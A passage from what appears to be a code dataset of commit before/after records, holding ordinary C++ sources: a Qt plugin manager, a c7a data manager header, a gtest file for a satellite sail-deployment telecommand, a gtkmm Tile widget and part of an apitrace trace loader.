PluginManagerImplementation::loadAllPlugins()\n{\n\twhile (!mPluginsDir.isRoot() && !mPluginsDir.entryList(QDir::Dirs).contains(\"plugins\")) {\n\t\tmPluginsDir.cdUp();\n\t}\n\n\tQList<QString> splittedDir = mAdditionalPart.split('\/');\n\tfor (const QString &partOfDirectory : splittedDir) {\n\t\tmPluginsDir.cd(partOfDirectory);\n\t}\n\n\tQList<QObject *> listOfPlugins;\n\n\tfor (const QString &fileName : mPluginsDir.entryList(QDir::Files)) {\n\t\tQPair<QObject *, QString> const pluginAndError = pluginLoadedByName(fileName);\n\t\tQObject * const pluginByName = pluginAndError.first;\n\t\tif (pluginByName) {\n\t\t\tlistOfPlugins.append(pluginByName);\n\t\t\tmFileNameAndPlugin.insert(fileName, pluginByName);\n\t\t} else {\n\t\t\tQLOG_ERROR() << \"Plugin loading failed:\" << pluginAndError.second;\n\t\t\tqDebug() << \"Plugin loading failed:\" << pluginAndError.second;\n\t\t}\n\t}\n\n\treturn listOfPlugins;\n}\n\nQPair<QObject *, QString> PluginManagerImplementation::pluginLoadedByName(const QString &pluginName)\n{\n\tQPluginLoader *loader = new QPluginLoader(mPluginsDir.absoluteFilePath(pluginName), qApp);\n\tloader->load();\n\tQObject *plugin = loader->instance();\n\tQPair<QString, QPluginLoader*> pairOfLoader = qMakePair(pluginName, loader);\n\tmLoaders.append(pairOfLoader);\n\n\tif (plugin) {\n\t\tmFileNameAndPlugin.insert(loader->metaData()[\"IID\"].toString(), plugin);\n\t\treturn qMakePair(plugin, QString());\n\t}\n\n\tconst QString loaderError = loader->errorString();\n\n\t\/\/ Unloading of plugins is currently (Qt 5.3) broken due to a bug in metatype system: calling Q_DECLARE_METATYPE\n\t\/\/ from plugin registers some data from plugin address space in Qt metatype system, which is not being updated\n\t\/\/ when plugin is unloaded and loaded again. Any subsequent calls to QVariant or other template classes\/methods\n\t\/\/ which use metainformation will result in a crash. It is likely (but not verified) that qRegisterMetaType leads\n\t\/\/ to the same issue. Since we can not guarantee that plugin does not use Q_DECLARE_METATYPE or qRegisterMetaType\n\t\/\/ we shall not unload plugin at all, to be safe rather than sorry.\n\t\/\/\n\t\/\/ But it seems also that metainformation gets deleted BEFORE plugins are unloaded on application exit, so we can\n\t\/\/ not call any metainformation-using code in destructors that get called on unloading. Since Qt classes themselves\n\t\/\/ are using such calls (QGraphicsViewScene, for example), random crashes on exit may be a symptom of this problem.\n\t\/\/\n\t\/\/ EditorManager is an exception, because it really needs to unload editor plugins, to be able to load new versions\n\t\/\/ compiled by metaeditor. Editor plugins are generated, so we can guarantee to some extent that there will be no\n\t\/\/ metatype registrations.\n\t\/\/\n\t\/\/ See:\n\t\/\/ http:\/\/stackoverflow.com\/questions\/19234703\/using-q-declare-metatype-with-a-dll-that-may-be-loaded-multiple-times\n\t\/\/ (and http:\/\/qt-project.org\/forums\/viewthread\/35587)\n\t\/\/ https:\/\/bugreports.qt-project.org\/browse\/QTBUG-32442\n\n\tdelete loader;\n\treturn qMakePair(nullptr, loaderError);\n}\n\nQString PluginManagerImplementation::unloadPlugin(const QString &pluginName)\n{\n\tint count = 0;\n\tbool stateUnload = true;\n\n\tfor (const QPair<QString, QPluginLoader *> ¤tPair : mLoaders) {\n\t\tif (currentPair.first == pluginName) {\n\t\t\tstateUnload = currentPair.second->unload();\n\t\t}\n\n\t\t++count;\n\t}\n\n\tif (stateUnload) {\n\t\treturn QString();\n\t}\n\n\treturn QString(\"Plugin was not found\");\n}\n\nQList<QString> PluginManagerImplementation::namesOfPlugins() const\n{\n\tQList<QString> listOfNames;\n\tfor (const QPair<QString, QPluginLoader *> ¤tPair : mLoaders) {\n\t\tlistOfNames.append(currentPair.first);\n\t}\n\treturn listOfNames;\n}\n\nQString PluginManagerImplementation::fileName(QObject *plugin) const\n{\n\treturn mFileNameAndPlugin.key(plugin);\n}\n\nQObject *PluginManagerImplementation::pluginByName(const QString &pluginName) const\n{\n\treturn mFileNameAndPlugin[pluginName];\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n * c7a\/data\/data_manager.hpp\n *\n ******************************************************************************\/\n\n#ifndef C7A_DATA_DATA_MANAGER_HEADER\n#define C7A_DATA_DATA_MANAGER_HEADER\n\n#include <map>\n#include \"block_iterator.hpp\"\n\nnamespace c7a {\nnamespace data {\n\n\/\/! Identification for DIAs\ntypedef int DIAId;\n\n\n\/\/! Stores in-memory data\n\/\/!\n\/\/! Future versions: Provide access to remote DIAs\nclass DataManager\n{\npublic:\n\n \/\/! returns iterator on requested partition\n \/\/!\n \/\/! \\param id ID of the DIA\n template<class T>\n BlockIterator<T> getLocalBlocks(DIAId id) {\n const auto& block = data_[id];\n return BlockIterator<T>(block.cbegin(), block.cend());\n }\n\n \/\/! returns true if the manager holds data of given DIA\n \/\/!\n \/\/! \\param id ID of the DIA\n bool Contains(DIAId id) {\n return data_.find(id) != data_.end();\n }\n\n \/*BlockEmitter<T> getLocalEmitter(DIAId) {\n \n }*\/\n\nprivate:\n\n std::map<DIAId, std::vector<Blob>> data_;\n};\n\n}\n}\n\n#endif \/\/ !C7A_DATA_DATA_MANAGER_HEADER\n\n\/******************************************************************************\/\n<commit_msg>implement getLocalEmitter<commit_after>\/*******************************************************************************\n * c7a\/data\/data_manager.hpp\n *\n ******************************************************************************\/\n\n#ifndef C7A_DATA_DATA_MANAGER_HEADER\n#define C7A_DATA_DATA_MANAGER_HEADER\n\n#include <map>\n#include <functional>\n#include <stdexcept>\n#include \"block_iterator.hpp\"\n\nnamespace c7a {\nnamespace data {\n\n\/\/! Identification for DIAs\ntypedef int DIAId;\n\n\/\/! function Signature for an emitt function\ntemplate<typename T>\nusing BlockEmitter = std::function<void(T)>;\n\n\/\/! Stores in-memory data\n\/\/!\n\/\/! Future versions: Provide access to remote DIAs\nclass DataManager\n{\npublic:\n\n \/\/! returns iterator on requested partition\n \/\/!\n \/\/! \\param id ID of the DIA\n template<class T>\n BlockIterator<T> getLocalBlocks(DIAId id) {\n const auto& block = data_[id];\n return BlockIterator<T>(block.cbegin(), block.cend());\n }\n\n \/\/! returns true if the manager holds data of given DIA\n \/\/!\n \/\/! \\param id ID of the DIA\n bool Contains(DIAId id) {\n return data_.find(id) != data_.end();\n }\n\n template<class T>\n BlockEmitter<T> getLocalEmitter(DIAId id) {\n if (!Contains(id)) {\n throw std::runtime_error(\"target dia id unknown.\");\n }\n auto& target = data_[id];\n return [&target](T elem){ target.push_back(Serialize(elem)); };\n }\n\nprivate:\n\n std::map<DIAId, std::vector<Blob>> data_;\n};\n\n}\n}\n\n#endif \/\/ !C7A_DATA_DATA_MANAGER_HEADER\n\n\/******************************************************************************\/\n<|endoftext|>"} {"text":"<commit_before>#include <array>\n#include \"gtest\/gtest.h\"\n#include \"gmock\/gmock.h\"\n#include \"OsMock.hpp\"\n#include \"mission\/sail.hpp\"\n#include \"mock\/HasStateMock.hpp\"\n#include \"mock\/comm.hpp\"\n#include \"obc\/telecommands\/sail.hpp\"\n#include \"os\/os.hpp\"\n\nusing telecommunication::downlink::DownlinkAPID;\nusing testing::ElementsAre;\nusing testing::Eq;\nusing testing::Return;\nusing testing::ReturnRef;\nusing testing::_;\n\nnamespace\n{\n class StopSailDeploymentTelecommandTest : public testing::Test\n {\n protected:\n StopSailDeploymentTelecommandTest();\n testing::NiceMock<HasStateMock<SystemState>> stateContainer;\n testing::NiceMock<TransmitterMock> transmitter;\n\n testing::NiceMock<OSMock> os;\n OSReset guard;\n\n obc::telecommands::StopSailDeployment telecommand{stateContainer};\n };\n\n StopSailDeploymentTelecommandTest::StopSailDeploymentTelecommandTest()\n {\n this->guard = InstallProxy(&os);\n ON_CALL(os, TakeSemaphore(_, _)).WillByDefault(Return(OSResult::Success));\n }\n\n TEST_F(StopSailDeploymentTelecommandTest, ShouldDisableDeploymentBeforeItBegins)\n {\n SystemState state;\n auto& persistentState = state.PersistentState;\n persistentState.Set(state::SailState(state::SailOpeningState::Waiting));\n EXPECT_CALL(stateContainer, MockGetState()).WillOnce(ReturnRef(state));\n\n EXPECT_CALL(this->transmitter, SendFrame(IsDownlinkFrame(Eq(DownlinkAPID::DisableSailDeployment), Eq(0U), ElementsAre(0x22, 0))));\n\n std::array<std::uint8_t, 1> frame{0x22};\n\n telecommand.Handle(this->transmitter, frame);\n\n state::SailState sailState;\n persistentState.Get(sailState);\n ASSERT_THAT(sailState.CurrentState(), Eq(state::SailOpeningState::OpeningStopped));\n }\n\n TEST_F(StopSailDeploymentTelecommandTest, ShouldStopOpening)\n {\n SystemState state;\n auto& persistentState = state.PersistentState;\n persistentState.Set(state::SailState(state::SailOpeningState::Opening));\n EXPECT_CALL(stateContainer, MockGetState()).WillOnce(ReturnRef(state));\n\n EXPECT_CALL(this->transmitter, SendFrame(IsDownlinkFrame(Eq(DownlinkAPID::DisableSailDeployment), Eq(0U), ElementsAre(0x22, 0))));\n\n std::array<std::uint8_t, 1> frame{0x22};\n\n telecommand.Handle(this->transmitter, frame);\n\n state::SailState sailState;\n persistentState.Get(sailState);\n ASSERT_THAT(sailState.CurrentState(), Eq(state::SailOpeningState::OpeningStopped));\n }\n\n TEST_F(StopSailDeploymentTelecommandTest, ShouldRespondWithErrorOnInvalidFrame)\n {\n EXPECT_CALL(this->transmitter, SendFrame(IsDownlinkFrame(Eq(DownlinkAPID::DisableSailDeployment), Eq(0U), ElementsAre(0, 255))));\n\n telecommand.Handle(this->transmitter, gsl::span<const uint8_t>());\n }\n}\n<commit_msg>[telecommunication] Fix test failure.<commit_after>#include <array>\n#include \"gtest\/gtest.h\"\n#include \"gmock\/gmock.h\"\n#include \"OsMock.hpp\"\n#include \"mission\/sail.hpp\"\n#include \"mock\/HasStateMock.hpp\"\n#include \"mock\/comm.hpp\"\n#include \"obc\/telecommands\/sail.hpp\"\n#include \"os\/os.hpp\"\n\nusing telecommunication::downlink::DownlinkAPID;\nusing testing::ElementsAre;\nusing testing::Eq;\nusing testing::Return;\nusing testing::ReturnRef;\nusing testing::_;\n\nnamespace\n{\n class StopSailDeploymentTelecommandTest : public testing::Test\n {\n protected:\n StopSailDeploymentTelecommandTest();\n testing::NiceMock<HasStateMock<SystemState>> stateContainer;\n testing::NiceMock<TransmitterMock> transmitter;\n\n testing::NiceMock<OSMock> os;\n OSReset guard;\n\n obc::telecommands::StopSailDeployment telecommand{stateContainer};\n };\n\n StopSailDeploymentTelecommandTest::StopSailDeploymentTelecommandTest()\n {\n this->guard = InstallProxy(&os);\n ON_CALL(os, TakeSemaphore(_, _)).WillByDefault(Return(OSResult::Success));\n }\n\n TEST_F(StopSailDeploymentTelecommandTest, ShouldDisableDeploymentBeforeItBegins)\n {\n SystemState state;\n auto& persistentState = state.PersistentState;\n persistentState.Set(state::SailState(state::SailOpeningState::Waiting));\n EXPECT_CALL(stateContainer, MockGetState()).WillOnce(ReturnRef(state));\n\n EXPECT_CALL(this->transmitter, SendFrame(IsDownlinkFrame(Eq(DownlinkAPID::DisableSailDeployment), Eq(0U), ElementsAre(0x22, 0))));\n\n std::array<std::uint8_t, 1> frame{0x22};\n\n telecommand.Handle(this->transmitter, frame);\n\n state::SailState sailState;\n persistentState.Get(sailState);\n ASSERT_THAT(sailState.CurrentState(), Eq(state::SailOpeningState::OpeningStopped));\n }\n\n TEST_F(StopSailDeploymentTelecommandTest, ShouldStopOpening)\n {\n SystemState state;\n auto& persistentState = state.PersistentState;\n persistentState.Set(state::SailState(state::SailOpeningState::Opening));\n EXPECT_CALL(stateContainer, MockGetState()).WillOnce(ReturnRef(state));\n\n EXPECT_CALL(this->transmitter, SendFrame(IsDownlinkFrame(Eq(DownlinkAPID::DisableSailDeployment), Eq(0U), ElementsAre(0x22, 0))));\n\n std::array<std::uint8_t, 1> frame{0x22};\n\n telecommand.Handle(this->transmitter, frame);\n\n state::SailState sailState;\n persistentState.Get(sailState);\n ASSERT_THAT(sailState.CurrentState(), Eq(state::SailOpeningState::OpeningStopped));\n }\n\n TEST_F(StopSailDeploymentTelecommandTest, ShouldRespondWithErrorOnInvalidFrame)\n {\n SystemState state;\n ON_CALL(stateContainer, MockGetState()).WillByDefault(ReturnRef(state));\n EXPECT_CALL(this->transmitter, SendFrame(IsDownlinkFrame(Eq(DownlinkAPID::DisableSailDeployment), Eq(0U), ElementsAre(0, 255))));\n\n telecommand.Handle(this->transmitter, gsl::span<const uint8_t>());\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; indent-tabs-mode:nil; c-basic-offset:4; -*- *\/\n\n\/*\n * gtkmm-utils - tile.cc\n *\n * Copyright (C) 2007 Marko Anastasov\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; if not, write to the\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"tile.hh\"\n\nnamespace Gtk {\n\nnamespace Util {\n\nTile::Tile(const Glib::ustring& title,\n const Glib::ustring& summary,\n bool paint_white)\n :\n root_hbox_(),\n image_(),\n content_vbox_(),\n title_label_(),\n summary_label_(),\n title_(title),\n summary_(summary),\n paint_white_(paint_white)\n{\n set_flags(Gtk::CAN_FOCUS);\n\n \/\/ set up root hbox\n root_hbox_.set_border_width(5);\n root_hbox_.set_spacing(2);\n add(root_hbox_);\n\n \/\/ pack illustration image\n image_.show();\n root_hbox_.pack_start(image_, false, false, 0);\n\n \/\/ prepare vbox to appear on the right hand side of the image\n content_vbox_.set_border_width(5);\n content_vbox_.set_spacing(2);\n\n \/\/ set up the title label\n title_label_.set_markup(\"<span weight=\\\"bold\\\">\" +\n Glib::strescape(title_) +\n \"<\/span>\");\n title_label_.set_ellipsize(Pango::ELLIPSIZE_END);\n title_label_.set_max_width_chars(30);\n title_label_.modify_fg(Gtk::STATE_NORMAL,\n this->get_style()->get_fg(Gtk::STATE_INSENSITIVE));\n content_vbox_.pack_start(title_label_, false, false, 0);\n\n \/\/ set up the summary label\n summary_label_.set_markup(\"<small>\" +\n Glib::strescape(summary_) +\n \"<\/small>\");\n summary_label_.set_ellipsize(Pango::ELLIPSIZE_END);\n summary_label_.set_max_width_chars(30);\n summary_label_.modify_fg(Gtk::STATE_NORMAL,\n this->get_style()->get_fg(Gtk::STATE_INSENSITIVE));\n content_vbox_.pack_start(summary_label_, false, false, 0);\n\n \/\/ wrap up\n content_vbox_.show_all();\n root_hbox_.pack_start(content_vbox_);\n}\n\nTile::~Tile()\n{\n}\n\nGtk::HBox&\nTile::get_root_hbox()\n{\n return root_hbox_;\n}\n\nGtk::Image&\nTile::get_image()\n{\n return image_;\n}\n\nGtk::VBox&\nTile::get_content_vbox()\n{\n return content_vbox_;\n}\n\nTile::SignalTileSelected&\nTile::get_signal_tile_selected()\n{\n return signal_tile_selected_;\n}\n\nbool\nTile::on_expose_event(GdkEventExpose* event)\n{\n if (! is_visible())\n return false;\n\n GdkWindow* event_window = event->window;\n\n if (paint_white_ &&\n (gdk_window_get_window_type(event_window) == GDK_WINDOW_CHILD))\n {\n Glib::RefPtr<Gdk::Window> window = this->get_window();\n Glib::RefPtr<Gdk::GC> gc =\n this->get_style()->get_base_gc(this->get_state());\n\n window->draw_rectangle(gc,\n true, \/\/ fill\n event->area.x, event->area.y,\n event->area.width, event->area.height);\n }\n\n if (this->get_flags() & Gtk::HAS_FOCUS)\n {\n int focus_pad, width, height;\n\n Glib::RefPtr<Gdk::Window> window = this->get_window();\n Gdk::Rectangle alloc = this->get_allocation();\n\n Glib::RefPtr<Gtk::Style> style = get_style();\n this->get_style_property<int>(\"focus_padding\", focus_pad);\n\n \/\/ We do not need to calculate x and y origins of the box\n \/\/ for pain_* functions - just starting from (0,0) will\n \/\/ do the right thing.\n\n width =\n alloc.get_width() - 2 * (focus_pad + style->get_xthickness());\n\n height =\n alloc.get_height() - 2 * (focus_pad + style->get_ythickness());\n\n style->paint_box(content_vbox_.get_window(),\n Gtk::STATE_SELECTED,\n Gtk::SHADOW_NONE,\n Gdk::Rectangle(&(event->area)),\n content_vbox_,\n \"TileSelectionBox\",\n 0, 0,\n width, height);\n\n title_label_.set_state(Gtk::STATE_SELECTED);\n summary_label_.set_state(Gtk::STATE_SELECTED);\n \n style->paint_focus(window,\n this->get_state(),\n Gdk::Rectangle(&(event->area)),\n *this,\n \"TileFocus\",\n 0, 0,\n width, height);\n }\n else\n {\n title_label_.set_state(Gtk::STATE_NORMAL);\n summary_label_.set_state(Gtk::STATE_NORMAL);\n }\n\n Gtk::Widget* child_widget = this->get_child(); \/\/ Gtk::Bin\n if (child_widget)\n propagate_expose(*child_widget, event);\n\n return false;\n}\n\nbool\nTile::on_button_press_event(GdkEventButton* \/* event *\/)\n{\n grab_focus();\n return false;\n}\n\nbool\nTile::on_focus_in_event(GdkEventFocus* event)\n{\n signal_tile_selected_.emit();\n return Gtk::EventBox::on_focus_in_event(event);\n}\n\n} \/\/ namespace Util\n\n} \/\/ namespace Gtk\n<commit_msg>Wrote some comments on the code in Tile::on_expose_event().<commit_after>\/* -*- Mode: C++; indent-tabs-mode:nil; c-basic-offset:4; -*- *\/\n\n\/*\n * gtkmm-utils - tile.cc\n *\n * Copyright (C) 2007 Marko Anastasov\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; if not, write to the\n * Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"tile.hh\"\n\nnamespace Gtk {\n\nnamespace Util {\n\nTile::Tile(const Glib::ustring& title,\n const Glib::ustring& summary,\n bool paint_white)\n :\n root_hbox_(),\n image_(),\n content_vbox_(),\n title_label_(),\n summary_label_(),\n title_(title),\n summary_(summary),\n paint_white_(paint_white)\n{\n set_flags(Gtk::CAN_FOCUS);\n\n \/\/ set up root hbox\n root_hbox_.set_border_width(5);\n root_hbox_.set_spacing(2);\n add(root_hbox_);\n\n \/\/ pack illustration image\n image_.show();\n root_hbox_.pack_start(image_, false, false, 0);\n\n \/\/ prepare vbox to appear on the right hand side of the image\n content_vbox_.set_border_width(5);\n content_vbox_.set_spacing(2);\n\n \/\/ set up the title label\n title_label_.set_markup(\"<span weight=\\\"bold\\\">\" +\n Glib::strescape(title_) +\n \"<\/span>\");\n title_label_.set_ellipsize(Pango::ELLIPSIZE_END);\n title_label_.set_max_width_chars(30);\n title_label_.modify_fg(Gtk::STATE_NORMAL,\n this->get_style()->get_fg(Gtk::STATE_INSENSITIVE));\n content_vbox_.pack_start(title_label_, false, false, 0);\n\n \/\/ set up the summary label\n summary_label_.set_markup(\"<small>\" +\n Glib::strescape(summary_) +\n \"<\/small>\");\n summary_label_.set_ellipsize(Pango::ELLIPSIZE_END);\n summary_label_.set_max_width_chars(30);\n summary_label_.modify_fg(Gtk::STATE_NORMAL,\n this->get_style()->get_fg(Gtk::STATE_INSENSITIVE));\n content_vbox_.pack_start(summary_label_, false, false, 0);\n\n \/\/ wrap up\n content_vbox_.show_all();\n root_hbox_.pack_start(content_vbox_);\n}\n\nTile::~Tile()\n{\n}\n\nGtk::HBox&\nTile::get_root_hbox()\n{\n return root_hbox_;\n}\n\nGtk::Image&\nTile::get_image()\n{\n return image_;\n}\n\nGtk::VBox&\nTile::get_content_vbox()\n{\n return content_vbox_;\n}\n\nTile::SignalTileSelected&\nTile::get_signal_tile_selected()\n{\n return signal_tile_selected_;\n}\n\nbool\nTile::on_expose_event(GdkEventExpose* event)\n{\n if (! is_visible())\n return false;\n\n GdkWindow* event_window = event->window;\n\n if (paint_white_ &&\n (gdk_window_get_window_type(event_window) == GDK_WINDOW_CHILD))\n {\n \/\/ Paint white background on the widget.\n\n Glib::RefPtr<Gdk::Window> window = this->get_window();\n Glib::RefPtr<Gdk::GC> gc =\n this->get_style()->get_base_gc(this->get_state());\n\n window->draw_rectangle(gc,\n true, \/\/ fill\n event->area.x, event->area.y,\n event->area.width, event->area.height);\n }\n\n if (this->get_flags() & Gtk::HAS_FOCUS)\n {\n int focus_pad, width, height;\n\n Glib::RefPtr<Gdk::Window> window = this->get_window();\n Gdk::Rectangle alloc = this->get_allocation();\n\n Glib::RefPtr<Gtk::Style> style = get_style();\n this->get_style_property<int>(\"focus_padding\", focus_pad);\n\n \/\/ We do not need to calculate x and y origins of the box\n \/\/ for pain_* functions - just starting from (0,0) will\n \/\/ do the right thing.\n\n width =\n alloc.get_width() - 2 * (focus_pad + style->get_xthickness());\n\n height =\n alloc.get_height() - 2 * (focus_pad + style->get_ythickness());\n\n \/\/ Paint a backround box, the usual selection indicator\n \/\/ which is usually blue. It is important to paint on the\n \/\/ container box's window, otherwise if we'd, for instance,\n \/\/ paint on the widget itself, the box would completely cover it.\n\n style->paint_box(root_hbox_.get_window(),\n Gtk::STATE_SELECTED,\n Gtk::SHADOW_NONE,\n Gdk::Rectangle(&(event->area)),\n root_hbox_,\n \"TileSelectionBox\",\n 0, 0,\n width, height);\n\n \/\/ Change the label state to selected, so that the theme\n \/\/ engine changes the font color appropriately to contrast\n \/\/ the colour of the box.\n\n title_label_.set_state(Gtk::STATE_SELECTED);\n summary_label_.set_state(Gtk::STATE_SELECTED);\n\n \/\/ Also paint the the little line border around the widget,\n \/\/ another usual focus indicator.\n \n style->paint_focus(window,\n this->get_state(),\n Gdk::Rectangle(&(event->area)),\n *this,\n \"TileFocus\",\n 0, 0,\n width, height);\n }\n else\n {\n title_label_.set_state(Gtk::STATE_NORMAL);\n summary_label_.set_state(Gtk::STATE_NORMAL);\n }\n\n Gtk::Widget* child_widget = this->get_child(); \/\/ Gtk::Bin method\n if (child_widget)\n propagate_expose(*child_widget, event);\n\n return false;\n}\n\nbool\nTile::on_button_press_event(GdkEventButton* \/* event *\/)\n{\n grab_focus();\n return false;\n}\n\nbool\nTile::on_focus_in_event(GdkEventFocus* event)\n{\n signal_tile_selected_.emit();\n return Gtk::EventBox::on_focus_in_event(event);\n}\n\n} \/\/ namespace Util\n\n} \/\/ namespace Gtk\n<|endoftext|>"} {"text":"<commit_before>#include \"traceloader.h\"\n\n#include \"apitrace.h\"\n#include <QDebug>\n#include <QFile>\n#include <QStack>\n\n#define FRAMES_TO_CACHE 100\n\nstatic ApiTraceCall *\napiCallFromTraceCall(const trace::Call *call,\n const QHash<QString, QUrl> &helpHash,\n ApiTraceFrame *frame,\n ApiTraceCall *parentCall,\n TraceLoader *loader)\n{\n ApiTraceCall *apiCall;\n\n if (parentCall)\n apiCall = new ApiTraceCall(parentCall, loader, call);\n else\n apiCall = new ApiTraceCall(frame, loader, call);\n\n apiCall->setHelpUrl(helpHash.value(apiCall->name()));\n\n return apiCall;\n}\n\nTraceLoader::TraceLoader(QObject *parent)\n : QObject(parent)\n{\n}\n\nTraceLoader::~TraceLoader()\n{\n m_parser.close();\n qDeleteAll(m_signatures);\n qDeleteAll(m_enumSignatures);\n}\n\nvoid TraceLoader::loadTrace(const QString &filename)\n{\n if (m_helpHash.isEmpty()) {\n loadHelpFile();\n }\n\n if (!m_frameBookmarks.isEmpty()) {\n qDeleteAll(m_signatures);\n qDeleteAll(m_enumSignatures);\n m_signatures.clear();\n m_enumSignatures.clear();\n m_frameBookmarks.clear();\n m_createdFrames.clear();\n m_parser.close();\n }\n\n if (!m_parser.open(filename.toLatin1())) {\n qDebug() << \"error: failed to open \" << filename;\n return;\n }\n\n emit startedParsing();\n\n if (m_parser.supportsOffsets()) {\n scanTrace();\n } else {\n \/\/Load the entire file into memory\n parseTrace();\n }\n emit guessedApi(static_cast<int>(m_parser.api));\n emit finishedParsing();\n}\n\nvoid TraceLoader::loadFrame(ApiTraceFrame *currentFrame)\n{\n fetchFrameContents(currentFrame);\n}\n\nint TraceLoader::numberOfFrames() const\n{\n return m_frameBookmarks.size();\n}\n\nint TraceLoader::numberOfCallsInFrame(int frameIdx) const\n{\n if (frameIdx >= m_frameBookmarks.size()) {\n return 0;\n }\n FrameBookmarks::const_iterator itr =\n m_frameBookmarks.find(frameIdx);\n return itr->numberOfCalls;\n}\n\nvoid TraceLoader::loadHelpFile()\n{\n QFile file(\":\/resources\/glreference.tsv\");\n if (file.open(QIODevice::ReadOnly | QIODevice::Text)) {\n QString line;\n while (!file.atEnd()) {\n line = file.readLine();\n QString function = line.section('\\t', 0, 0).trimmed();\n QUrl url = QUrl(line.section('\\t', 1, 1).trimmed());\n \/\/qDebug()<<\"function = \"<<function<<\", url = \"<<url.toString();\n m_helpHash.insert(function, url);\n }\n } else {\n qWarning() << \"Couldn't open reference file \"\n << file.fileName();\n }\n file.close();\n}\n\nvoid TraceLoader::scanTrace()\n{\n QList<ApiTraceFrame*> frames;\n ApiTraceFrame *currentFrame = 0;\n\n trace::Call *call;\n trace::ParseBookmark startBookmark;\n int numOfFrames = 0;\n int numOfCalls = 0;\n int lastPercentReport = 0;\n\n m_parser.getBookmark(startBookmark);\n\n while ((call = m_parser.scan_call())) {\n ++numOfCalls;\n\n if (call->flags & trace::CALL_FLAG_END_FRAME) {\n FrameBookmark frameBookmark(startBookmark);\n frameBookmark.numberOfCalls = numOfCalls;\n\n currentFrame = new ApiTraceFrame();\n currentFrame->number = numOfFrames;\n currentFrame->setNumChildren(numOfCalls);\n currentFrame->setLastCallIndex(call->no);\n frames.append(currentFrame);\n\n m_createdFrames.append(currentFrame);\n m_frameBookmarks[numOfFrames] = frameBookmark;\n ++numOfFrames;\n\n if (m_parser.percentRead() - lastPercentReport >= 5) {\n emit parsed(m_parser.percentRead());\n lastPercentReport = m_parser.percentRead();\n }\n m_parser.getBookmark(startBookmark);\n numOfCalls = 0;\n }\n delete call;\n }\n\n if (numOfCalls) {\n \/\/trace::File::Bookmark endBookmark = m_parser.currentBookmark();\n FrameBookmark frameBookmark(startBookmark);\n frameBookmark.numberOfCalls = numOfCalls;\n\n currentFrame = new ApiTraceFrame();\n currentFrame->number = numOfFrames;\n currentFrame->setNumChildren(numOfCalls);\n frames.append(currentFrame);\n\n m_createdFrames.append(currentFrame);\n m_frameBookmarks[numOfFrames] = frameBookmark;\n ++numOfFrames;\n }\n\n emit parsed(100);\n\n emit framesLoaded(frames);\n}\n\nvoid TraceLoader::parseTrace()\n{\n QList<ApiTraceFrame*> frames;\n ApiTraceFrame *currentFrame = 0;\n int frameCount = 0;\n QStack<ApiTraceCall*> groups;\n QVector<ApiTraceCall*> topLevelItems;\n QVector<ApiTraceCall*> allCalls;\n quint64 binaryDataSize = 0;\n\n int lastPercentReport = 0;\n\n trace::Call *call = m_parser.parse_call();\n while (call) {\n \/\/std::cout << *call;\n if (!currentFrame) {\n currentFrame = new ApiTraceFrame();\n currentFrame->number = frameCount;\n ++frameCount;\n }\n ApiTraceCall *apiCall =\n apiCallFromTraceCall(call, m_helpHash, currentFrame, groups.isEmpty() ? 0 : groups.top(), this);\n allCalls.append(apiCall);\n if (groups.count() == 0) {\n topLevelItems.append(apiCall);\n }\n if (call->flags & trace::CALL_FLAG_MARKER_PUSH) {\n groups.push(apiCall);\n } else if (call->flags & trace::CALL_FLAG_MARKER_POP) {\n groups.top()->finishedAddingChildren();\n groups.pop();\n }\n if (!groups.isEmpty()) {\n groups.top()->addChild(apiCall);\n }\n if (apiCall->hasBinaryData()) {\n QByteArray data =\n apiCall->arguments()[apiCall->binaryDataIndex()].toByteArray();\n binaryDataSize += data.size();\n }\n if (call->flags & trace::CALL_FLAG_END_FRAME) {\n allCalls.squeeze();\n topLevelItems.squeeze();\n if (topLevelItems.count() == allCalls.count()) {\n currentFrame->setCalls(allCalls, allCalls, binaryDataSize);\n } else {\n currentFrame->setCalls(topLevelItems, allCalls, binaryDataSize);\n }\n allCalls.clear();\n groups.clear();\n topLevelItems.clear();\n frames.append(currentFrame);\n currentFrame = 0;\n binaryDataSize = 0;\n if (frames.count() >= FRAMES_TO_CACHE) {\n emit framesLoaded(frames);\n frames.clear();\n }\n if (m_parser.percentRead() - lastPercentReport >= 5) {\n emit parsed(m_parser.percentRead());\n lastPercentReport = m_parser.percentRead();\n }\n }\n delete call;\n call = m_parser.parse_call();\n }\n\n \/\/last frames won't have markers\n \/\/ it's just a bunch of Delete calls for every object\n \/\/ after the last SwapBuffers\n if (currentFrame) {\n allCalls.squeeze();\n if (topLevelItems.count() == allCalls.count()) {\n currentFrame->setCalls(allCalls, allCalls, binaryDataSize);\n } else {\n currentFrame->setCalls(topLevelItems, allCalls, binaryDataSize);\n }\n frames.append(currentFrame);\n currentFrame = 0;\n }\n if (frames.count()) {\n emit framesLoaded(frames);\n }\n}\n\n\nApiTraceCallSignature * TraceLoader::signature(unsigned id)\n{\n if (id >= m_signatures.count()) {\n m_signatures.resize(id + 1);\n return NULL;\n } else {\n return m_signatures[id];\n }\n}\n\nvoid TraceLoader::addSignature(unsigned id, ApiTraceCallSignature *signature)\n{\n m_signatures[id] = signature;\n}\n\nApiTraceEnumSignature * TraceLoader::enumSignature(unsigned id)\n{\n if (id >= m_enumSignatures.count()) {\n m_enumSignatures.resize(id + 1);\n return NULL;\n } else {\n return m_enumSignatures[id];\n }\n}\n\nvoid TraceLoader::addEnumSignature(unsigned 